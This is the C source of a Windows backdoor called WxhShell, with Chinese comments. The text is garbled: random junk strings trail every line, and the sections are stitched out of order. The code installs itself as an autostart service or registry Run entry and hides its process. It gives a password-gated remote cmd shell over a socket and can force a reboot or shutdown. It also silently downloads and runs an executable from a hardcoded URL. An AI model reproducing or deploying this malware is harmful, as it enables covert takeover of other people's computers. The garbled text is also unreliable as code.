  case 'd': { QMI&?Q:=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); } d / 5_X  
    if(Boot(SHUTDOWN)) rs01@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,63hO.4M  
    else { t&UPU&tY  
    closesocket(wsh); /#Y)nyE  
    ExitThread(0); ; Xy\7tx  
    } uLYz!E+E  
    break; e{edI{g  
    } !1f8~"Z  
  // 获取shell hWK}] gF  
  case 's': { cq'opjLf5  
    CmdShell(wsh); 0N3 cC4!  
    closesocket(wsh); SWr?>dl  
    ExitThread(0); DpIv <m]  
    break; OL]^4m  
  } \F%5TRoC  
  // 退出 iw<#V&([ J  
  case 'x': { Wvl>iHB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O YGh!sW  
    CloseIt(wsh); (yFR;5Fo  
    break; PMk3b3)Z  
    } ^5TSo&qZ  
  // 离开 66<3zadJZU  
  case 'q': { SCk2D!u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~U&,hFSPY  
    closesocket(wsh); nAn/Vu  
    WSACleanup(); 7s_#X|A$  
    exit(1); :.['e`  
    break; ^Ye i9bXl  
        } "}UJ~ j).  
  } #Ag-?k  
  } ko2Kz k  
Ghgx8 ]e  
  // 提示信息 I]P'wav~O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J=4R" _yo  
} u-Pa:wm0-  
  } o.t$hv|  
O"4Q=~Y  
  return; ^yUel.N5"  
} l%*KBME  
ryzz!0l  
// shell模块句柄 c0]^V>}cl  
int CmdShell(SOCKET sock) 7N"$~UfC  
{ d3h2$EDD  
STARTUPINFO si; U'S}7gya  
ZeroMemory(&si,sizeof(si)); e&f9/rfx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gB@Xi*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2"lDKjj  
PROCESS_INFORMATION ProcessInfo; FjIS:9^)t5  
char cmdline[]="cmd"; <=8REA?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6k;__@B,  
  return 0; *vFVXJo  
} FblwQ-D  
&~U!X~PpB  
// 自身启动模式 !=@Lyt)_b  
int StartFromService(void) S!qJqZ<Bv  
{ `k65&]&d  
typedef struct eRQ}`DjTk  
{ 7 Xe|P1@)  
  DWORD ExitStatus; 0 Vv 6B2<  
  DWORD PebBaseAddress; trmCIk&Fkj  
  DWORD AffinityMask;  lk{  
  DWORD BasePriority; XnrOC|P$  
  ULONG UniqueProcessId; {g}!M^|  
  ULONG InheritedFromUniqueProcessId; 6V\YYrUz  
}   PROCESS_BASIC_INFORMATION; S(](C  
$5y%\A  
PROCNTQSIP NtQueryInformationProcess; 24"Trg\WK[  
O[f*!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ed,`1+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zu&5[XL  
(Da/$S.  
  HANDLE             hProcess; / <WB%O  
  PROCESS_BASIC_INFORMATION pbi; ~\`lbGJ7?  
!s#25}9zX5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qd"1KzQWO  
  if(NULL == hInst ) return 0; Ar4E $\W  
LAeJz_9U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g1VdP[Y#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LY2oBX@fC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kA?a}   
Yu-e |:  
  if (!NtQueryInformationProcess) return 0; #+HLb  
w\k|^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C J S  
  if(!hProcess) return 0; )ALPMmlRs  
F+Rtoq|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8*3o 9$Pj  
pDb5t>  
  CloseHandle(hProcess); 'gk.J  
B PTQm4TN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W-q2|NK  
if(hProcess==NULL) return 0; G$pTTT6#  
$,q~q^0  
HMODULE hMod; Htn=h~U`z  
char procName[255]; duB{ 1  
unsigned long cbNeeded; BJ!b LQ  
?|'+5$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B1T:c4:N  
84^ '^nd  
  CloseHandle(hProcess); cjt<&b*  
\"B?'Ep;  
if(strstr(procName,"services")) return 1; // 以服务启动 7l> |G,[c  
D].!u{##  
  return 0; // 注册表启动 T:q_1W?h]  
} ~4h<nc  
>_P7k5Y^  
// 主模块 D-e0q)RSU  
int StartWxhshell(LPSTR lpCmdLine) G%w.Z< qy  
{ )orVI5ti  
  SOCKET wsl; lP& 7U  
BOOL val=TRUE; :8aa#bA  
  int port=0; \Km!#:  
  struct sockaddr_in door; P:h;"  
>c%OnA,3  
  if(wscfg.ws_autoins) Install(); n 1MZHa,  
1S9(Zn[2,  
port=atoi(lpCmdLine); @5N^^B  
[2?|BUtD[  
if(port<=0) port=wscfg.ws_port; E8gXa-hv  
B*btt+6  
  WSADATA data; _#@n^c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k `JP  
ntbl0Sk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~$n4Yuu2[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `v3WJ>Q!N?  
  door.sin_family = AF_INET; H-A?F ^#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |D+"+w/  
  door.sin_port = htons(port); d4KT wn5g  
I Y%M5(&Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n2&*5m&$  
closesocket(wsl); ,T@+QXh  
return 1; uKc x$  
} IvGQ7 VLr  
"s!!\/^9C  
  if(listen(wsl,2) == INVALID_SOCKET) { 52?zBl`|  
closesocket(wsl); twElLOE  
return 1; HA&7 ybl  
} Jb~$Vrdy  
  Wxhshell(wsl); 0JzH dz  
  WSACleanup(); Oxs O  
}a?PB o`  
return 0; 85CH% I#  
li'h&!|]  
} c'cK+32  
aX`"V/  
// 以NT服务方式启动 +v.uP [H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {<&i4;  
{ @_s`@ ,=  
DWORD   status = 0; Ie{98  
  DWORD   specificError = 0xfffffff; Z`x|\jI  
/j l{~R#1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]&6# {I-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HS>(y2}'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !/] F.0  
  serviceStatus.dwWin32ExitCode     = 0; >qj.!npQD  
  serviceStatus.dwServiceSpecificExitCode = 0; M)S(:Il6Xx  
  serviceStatus.dwCheckPoint       = 0; z~&uLu  
  serviceStatus.dwWaitHint       = 0; -^sW{s0Rc  
 m(CW3:|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j1{|3#5V  
  if (hServiceStatusHandle==0) return; d 90  
 gGF]Dq  
status = GetLastError(); p3>(ZWPNV  
  if (status!=NO_ERROR) )_bc:6Q  
{ TNe,'S,%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z9 X<W`  
    serviceStatus.dwCheckPoint       = 0; MzjV>.  
    serviceStatus.dwWaitHint       = 0; D![42H+-Qd  
    serviceStatus.dwWin32ExitCode     = status; !5,>[^y3  
    serviceStatus.dwServiceSpecificExitCode = specificError; |^fubQs;2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ql"&E{u?  
    return; gc(Gc vdB\  
  } AGaM &x=  
BS3Aczwk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3m3ljy  
  serviceStatus.dwCheckPoint       = 0; mGx!{v~i&  
  serviceStatus.dwWaitHint       = 0; \7b-w81M-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DUH\/<^g  
} ZK:dhwer  
wM.z/r\p  
// 处理NT服务事件,比如:启动、停止 g4b-~1[S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?LJ$:u  
{ fP3e{dVf  
switch(fdwControl) 2iOn\ ^]x  
{ 1ocd$)B|}  
case SERVICE_CONTROL_STOP: TdGda'C  
  serviceStatus.dwWin32ExitCode = 0; l e+6;'Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S&/</%  
  serviceStatus.dwCheckPoint   = 0; 3 #GZ6:rVJ  
  serviceStatus.dwWaitHint     = 0; aD)$aK  
  { !ieMhJ5r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o95)-Wb  
  } n>Cl;cN=  
  return; +c)"p4m  
case SERVICE_CONTROL_PAUSE: `=m[(CLb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u#(& R"6  
  break; 6cR}Mm9Hx3  
case SERVICE_CONTROL_CONTINUE: 0IZaf%zYc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A:|dY^,:?*  
  break; c:#<g/-{wM  
case SERVICE_CONTROL_INTERROGATE: b#ga  
  break;  )ph**g  
}; L1J \ C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /V'^$enK!}  
} Xjb 4dip  
8yW8F26  
// 标准应用程序主函数 -64@}Ts*?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /<[S> ;!kr  
{ &6]+a4  
'?| (QU:)F  
// 获取操作系统版本 feJzX*u  
OsIsNt=GetOsVer(); 9Z?P/ o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M:t!g %  
l^`& Tnzv  
  // 从命令行安装 .II*wK k  
  if(strpbrk(lpCmdLine,"iI")) Install(); { 'A`ram  
'iQ  
  // 下载执行文件 &d,chb (  
if(wscfg.ws_downexe) { ~nit~ ;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .<xzf4C  
  WinExec(wscfg.ws_filenam,SW_HIDE); D$ X9xtT  
} :LE0_ .  
lKVy{X 3]*  
if(!OsIsNt) { j@chSk"K  
// 如果时win9x,隐藏进程并且设置为注册表启动 R%gkRx[  
HideProc(); '8%pEl^  
StartWxhshell(lpCmdLine); +Dvdv<+  
} 2Y~UeJ_\Lq  
else TtZZjeg+V  
  if(StartFromService()) TcB^Sctf  
  // 以服务方式启动 -Iq W@|N  
  StartServiceCtrlDispatcher(DispatchTable); ~bm VpoI  
else _(J;!,  
  // 普通方式启动 /"~ D(bw0=  
  StartWxhshell(lpCmdLine); ZtzSG@f  
QuF76&)7  
return 0; Xk2M.:3`  
} {?2jvv  
[^N8v;O  
4Cd#S9<ed  
+f5|qbX/\  
=========================================== \R!.VL3Tx$  
O $dcy!  
0QzUcr)3+  
F4P=Wz]  
B#o/3  
tKr.{#)  
" hMcSB8?  
g(X-]/C{  
#include <stdio.h> 0wFa7PyG?  
#include <string.h> L&D+0p^lI  
#include <windows.h> P<. TiF?@  
#include <winsock2.h> wEQ7=Gyx  
#include <winsvc.h> eA4dDKX+  
#include <urlmon.h> J A=9EnTU  
C-wwQbdG/  
#pragma comment (lib, "Ws2_32.lib") l7{]jKJue  
#pragma comment (lib, "urlmon.lib") f82$_1s^  
*HT )Au"5  
#define MAX_USER   100 // 最大客户端连接数 ?nVwT[  
#define BUF_SOCK   200 // sock buffer Vki'pAN  
#define KEY_BUFF   255 // 输入 buffer 5,Q3#f~!  
<V> [H7  
#define REBOOT     0   // 重启 rwZI;t$hf  
#define SHUTDOWN   1   // 关机 1\'?.  
R1!F mZW8  
#define DEF_PORT   5000 // 监听端口 C]X:@^Hy  
"7w~0?}  
#define REG_LEN     16   // 注册表键长度 .,-,@ZK  
#define SVC_LEN     80   // NT服务名长度 .2K4<UOAbm  
a'NxsByG]s  
// 从dll定义API \IL;}D{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fPW|)e"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ujlIWQU2mo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $`KddW0_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KC"#  
jb~W(8cj  
// wxhshell配置信息 tEU}?k+:j)  
struct WSCFG { 8LI aN}  
  int ws_port;         // 监听端口 dwH8Zg$B  
  char ws_passstr[REG_LEN]; // 口令 T9s$IS,  
  int ws_autoins;       // 安装标记, 1=yes 0=no P M x`P B  
  char ws_regname[REG_LEN]; // 注册表键名 d65fkz==A)  
  char ws_svcname[REG_LEN]; // 服务名 S_Tv Ix/7&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fX:)mLnO/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mYU7b8x_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v?BVUH>#9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J 8!D."'Q0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zRO-oOJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gY],U4_:p  
2#srecIz-!  
}; >AtW  
r>>4)<C7J  
// default Wxhshell configuration U~;Rzoe)q*  
struct WSCFG wscfg={DEF_PORT, n]G_# ;  
    "xuhuanlingzhe", eT(/D/jan  
    1, r Jo8|  
    "Wxhshell", V`ODX>\  
    "Wxhshell", ZWtlOP#]  
            "WxhShell Service", /w!!jj^  
    "Wrsky Windows CmdShell Service", )td?t.4  
    "Please Input Your Password: ", bF85T(G  
  1, "7> o"FQ  
  "http://www.wrsky.com/wxhshell.exe", gI~4A,  
  "Wxhshell.exe" I.4o9Z[?  
    }; !Q/%N#  
%^`b)   
// 消息定义模块 ^R g=*L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A:-MRhE9X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nnzfKn:J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >5O#_?  
char *msg_ws_ext="\n\rExit."; jX9{Ki"  
char *msg_ws_end="\n\rQuit."; bOB<m4  
char *msg_ws_boot="\n\rReboot..."; 1WTDF  
char *msg_ws_poff="\n\rShutdown..."; eX{:&Do  
char *msg_ws_down="\n\rSave to "; B4&K2;fg_  
xr;:gz!h  
char *msg_ws_err="\n\rErr!"; ""Ub^:ucD  
char *msg_ws_ok="\n\rOK!"; O_E\(So  
s(0S)l<  
char ExeFile[MAX_PATH]; 'aN`z3T  
int nUser = 0; bu2@~  
HANDLE handles[MAX_USER]; UY ^dFbJ  
int OsIsNt; 4!q4WQ ;  
(plsL   
SERVICE_STATUS       serviceStatus; p aQ"[w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %',bCd{QW  
p{V_}:|=Q  
// 函数声明 @|=JXSr!KY  
int Install(void); Gz_[|,i  
int Uninstall(void); A^%li^qz  
int DownloadFile(char *sURL, SOCKET wsh); u|G&CV#r  
int Boot(int flag); #"T< mM7  
void HideProc(void); i"B q*b@  
int GetOsVer(void); F0D7+-9[  
int Wxhshell(SOCKET wsl); }k{h^!fV  
void TalkWithClient(void *cs); CnXl 7"  
int CmdShell(SOCKET sock); kPuI'EPK  
int StartFromService(void); \{GBaMwG~  
int StartWxhshell(LPSTR lpCmdLine); SU` RHAo  
n[E#K`gg'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +WH|nV~lQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 34Fc oud);  
8Qo~zO  
// 数据结构和表定义 e@`"V,i  
SERVICE_TABLE_ENTRY DispatchTable[] = pA%Sybw+  
{ h1A/:/_M6  
{wscfg.ws_svcname, NTServiceMain}, ='\Di '*  
{NULL, NULL} &A1~x!`  
}; 4PcsU HR  
wnPg).  
// 自我安装 C4].egVg  
int Install(void) )' hOW*v  
{ Q4[^JQsR2  
  char svExeFile[MAX_PATH]; Y30T>5  
  HKEY key; (b*PDhl`+  
  strcpy(svExeFile,ExeFile); KJs/4oR;  
9_4bw9 A  
// 如果是win9x系统,修改注册表设为自启动 ULJV  
if(!OsIsNt) { }5nVZ;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $ Ith8p~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HtN!Hgpwg  
  RegCloseKey(key); Hf#VW^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { </jzM?i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nr(t5TP^  
  RegCloseKey(key); 'LyEdlC]  
  return 0; J?1U'/Wx2  
    } [#3*R_#8R  
  } C@ns`Eh8w  
} N}/|B}  
else { YTk"'q-  
^DQp9$la  
// 如果是NT以上系统,安装为系统服务 '  ~F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 26D,(Y$*  
if (schSCManager!=0) li +MnLt  
{ fK?/o]vq  
  SC_HANDLE schService = CreateService ';>A=m9(4%  
  ( 6`JY:~V"  
  schSCManager,  <j<V{Wc  
  wscfg.ws_svcname, |l#<vw wE  
  wscfg.ws_svcdisp, h@H8oZ[  
  SERVICE_ALL_ACCESS, s-[v[w'E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |3:e$  
  SERVICE_AUTO_START, )zK6>-KWA  
  SERVICE_ERROR_NORMAL, N,?4,+Hc-  
  svExeFile, hUo}n>Aa  
  NULL, )/{zTg8$?/  
  NULL, mV'XH  
  NULL, iKVJ c=C  
  NULL, =mQdM]A)2  
  NULL *)| EWT?,  
  ); 1I#]OY#>  
  if (schService!=0) _Xe" +  
  { mFa%d8Y  
  CloseServiceHandle(schService); \kS:u}Ip!  
  CloseServiceHandle(schSCManager); oz[Mt i*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d>wpG^"w  
  strcat(svExeFile,wscfg.ws_svcname);  qH9bo-6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9ZVzIv(   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >bUxb-8  
  RegCloseKey(key); l =X6m(  
  return 0; z,+LPr  
    } 6VQe?oh  
  }  z:p;Wm  
  CloseServiceHandle(schSCManager); 'lIj89h<E  
} 7+2DsZ^6MW  
} KM:k<pvi  
8TH fFL  
return 1; XN Gw@$  
} j-%@A`j;  
RO!em~{D*  
// 自我卸载 S@^o=B]]  
int Uninstall(void) Wq"5-U;:w  
{ Y A:!ULzR*  
  HKEY key; \nbGdka  
\&jmSa=]l  
if(!OsIsNt) { 7ZR0cJw;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P~^VLnw  
  RegDeleteValue(key,wscfg.ws_regname); Iss)7I  
  RegCloseKey(key); ON-zhT?v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /YrBnccqD  
  RegDeleteValue(key,wscfg.ws_regname); q?0&&"T}  
  RegCloseKey(key); =&,<Co1hF  
  return 0; +aoenUm5  
  } eR|u']Em>T  
} d #vo)>  
} RqU^Q*/sF  
else { ?igA+(.  
p*5QV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1{Kv  
if (schSCManager!=0) ODFCA. t  
{ 5==hyIy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DV!10NqUr  
  if (schService!=0) @lhjO>@#I  
  { 6cVJu%<V  
  if(DeleteService(schService)!=0) { jV 98 2Y  
  CloseServiceHandle(schService); [~Vj(H=KwI  
  CloseServiceHandle(schSCManager); $Le|4Hj  
  return 0; J-U5_>S  
  } (ptk!u6  
  CloseServiceHandle(schService);  &peUC n  
  } !3;KC"o  
  CloseServiceHandle(schSCManager); rUxjm\  
} 3k_bhK zI  
} s,|"s|P  
Tg yY 9  
return 1; KSgYf;  
} (`)ZR %i  
S-2@:E  
// 从指定url下载文件 vhE^jS<Tg  
int DownloadFile(char *sURL, SOCKET wsh) M$$Lsb [  
{ (CR]96n  
  HRESULT hr; kD\7wz,ui  
char seps[]= "/"; =~P)7D6  
char *token; rInZd`\  
char *file; VtYrU>q  
char myURL[MAX_PATH]; $i9</Es P  
char myFILE[MAX_PATH]; es!>u{8)  
Em]2K:  
strcpy(myURL,sURL); EC`=nGF  
  token=strtok(myURL,seps); #gcv])to  
  while(token!=NULL) \u$[$R5  
  { FnWN]9  
    file=token; M;j)F  
  token=strtok(NULL,seps); ]rS:# LK  
  } WvN{f*  
$, vX yZ  
GetCurrentDirectory(MAX_PATH,myFILE); e.Gjp {  
strcat(myFILE, "\\"); (8td0zq  
strcat(myFILE, file); 12o6KVV^x  
  send(wsh,myFILE,strlen(myFILE),0); ?8-ho0f0  
send(wsh,"...",3,0); (b#4Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?8!\VNC.  
  if(hr==S_OK) &[W53Lqa  
return 0; G/N1[)  
else /*1p|c^  
return 1; ! z6T_;s  
9$s~ `z)  
} 4o3TW#  
=Y {<&:%(  
// 系统电源模块 _@@.VmZL  
int Boot(int flag) L]Dq1q8`  
{ M97MIku~9  
  HANDLE hToken; vX}#wDNP  
  TOKEN_PRIVILEGES tkp; z2U^z*n{  
MRN=-|fV^  
  if(OsIsNt) { :-tMH02c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +[2ep"5H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IBYSI0  
    tkp.PrivilegeCount = 1; $nqVE{ksV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YLv5[pV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VM}7 ~  
if(flag==REBOOT) { @ D.MpM}~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `q m$2  
  return 0; +5"Pm]oRbx  
} N1yx|g:  
else { $!7$0WbC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C$4!|Wg3  
  return 0; BFswqp:  
} a\B'Qe+  
  } -8Q}*Z  
  else { ~v6]6+   
if(flag==REBOOT) { i9eE/ .  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jK\AVjn  
  return 0; td5! S]  
} Q" G;L  
else { Cg3 d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ST1c`0e  
  return 0; 61Wh %8-  
} H (tT8Q5i  
} 1O2jvt7M  
Sb.%B^O  
return 1; 0b}.!k9  
} *h M5pw  
_)ZxD--Qg  
// win9x进程隐藏模块 ;T :]?5W!  
void HideProc(void) pEq }b+-  
{ in7h^6?I  
2" u,f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PW+B&7{  
  if ( hKernel != NULL ) 0]xp"xOwW  
  { MW|R)gt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +vIsYg*#2M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O,Ej m<nt  
    FreeLibrary(hKernel); s"~3.J  
  } O+"a 0:GM  
3(`P x}  
return; rGlnu.mK^  
} n;LjKE  
a FL; E  
// 获取操作系统版本 H,EGB8E2  
int GetOsVer(void) PZihC  
{ F^CR$L& K  
  OSVERSIONINFO winfo; t!\B6!Fo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &3 *#h  
  GetVersionEx(&winfo); r"!xI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <UwYI_OX  
  return 1; 8'M:uI  
  else {a0yHy$H  
  return 0; IXpn(vX  
} Zp/$:ny  
3z% W5[E)  
// 客户端句柄模块 `(M0I!t  
int Wxhshell(SOCKET wsl) 0i(c XB  
{ ^s\T<;  
  SOCKET wsh; 4{ [d '-H5  
  struct sockaddr_in client; 3.6Gh|7  
  DWORD myID; '"T9y=9]s  
;KgDVq5  
  while(nUser<MAX_USER) G7%f| Y  
{ Lk.tEuj=82  
  int nSize=sizeof(client); V[0 ZNT&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n(W&GSj|u9  
  if(wsh==INVALID_SOCKET) return 1; o37D~V;  
zEt!Pug  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >qZl s'  
if(handles[nUser]==0) 8^67,I-c  
  closesocket(wsh); w+$~ ds  
else 4UHviuOo8  
  nUser++; B.:1fT7lI  
  } z9E*1B+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JCci*F#r  
MzH'<`;BP  
  return 0; MlR ]+]  
} -vv_6Z L[  
0:JNkXZ:  
// 关闭 socket g(i8HU*{q  
void CloseIt(SOCKET wsh) $LVzhQlD  
{ [eFJ+|U9  
closesocket(wsh); .DM-&P  
nUser--; \h?6/@3ob  
ExitThread(0); @VQ<X4 Za  
} l{*Ko~g  
_*E j3=u  
// 客户端请求句柄 e.fxB  
void TalkWithClient(void *cs) &+3RsIl W  
{ H5*#=It  
5_1\{lP  
  SOCKET wsh=(SOCKET)cs; R '8S)'l  
  char pwd[SVC_LEN]; /D964VR1M\  
  char cmd[KEY_BUFF]; @9~x@[  
char chr[1]; c Qe3  
int i,j; 'Fql;&U >  
F` &W5[  
  while (nUser < MAX_USER) { }R/we`  
LTB rg[X  
if(wscfg.ws_passstr) { Bg}l$?S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BkP4.XRI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *5{1.7  
  //ZeroMemory(pwd,KEY_BUFF); ~n! & ~  
      i=0; 11c\C Iu  
  while(i<SVC_LEN) { >!Xj%RW  
_-rC]iQJ55  
  // 设置超时 DF UTQ:N  
  fd_set FdRead; 'bsHoO  
  struct timeval TimeOut; C DoD9Hq,  
  FD_ZERO(&FdRead); `z$P,^g`  
  FD_SET(wsh,&FdRead); al9( 9)  
  TimeOut.tv_sec=8; _%Yi ^^  
  TimeOut.tv_usec=0; ?#Y:2LqPC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R x(yn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qoZ)"M  
I9m9`4BK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }9glr]=  
  pwd=chr[0]; o1"N{ Eu  
  if(chr[0]==0xd || chr[0]==0xa) { d]:G#<.  
  pwd=0; 3V7WIj<  
  break; R+_!FnOJ  
  } yz,0 S'U  
  i++; H_Xk;fM  
    } uUV"86B_  
6}VFob#h8  
  // 如果是非法用户,关闭 socket e=aU9v L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |KVVPXtq%C  
} aqWlX0+  
A3*(c3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NC Y2^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hn\d{HP  
h-RhmQA=Iz  
while(1) { Sk)lT^by  
(&v,3>3]  
  ZeroMemory(cmd,KEY_BUFF); }!?RB v'W  
Gs,e8ri!  
      // 自动支持客户端 telnet标准   ;)wk ^W  
  j=0; e ;^}@X  
  while(j<KEY_BUFF) { GgnR*DVP$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C|2|OTtQ  
  cmd[j]=chr[0]; 9_?e, Q  
  if(chr[0]==0xa || chr[0]==0xd) { O&&_)  
  cmd[j]=0; ~<~ ~C#R  
  break; 74N3wi5B  
  } z&Aya*0v`  
  j++; t\ a|Gp W  
    } p&5>j\uJ1&  
y/kB`Z(Yj  
  // 下载文件 0igB pHS  
  if(strstr(cmd,"http://")) { @rA V;D%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >]&Ow9-  
  if(DownloadFile(cmd,wsh)) u~2]$ /U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Ocw+X3  
  else %K.rrn M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7!h> < sx  
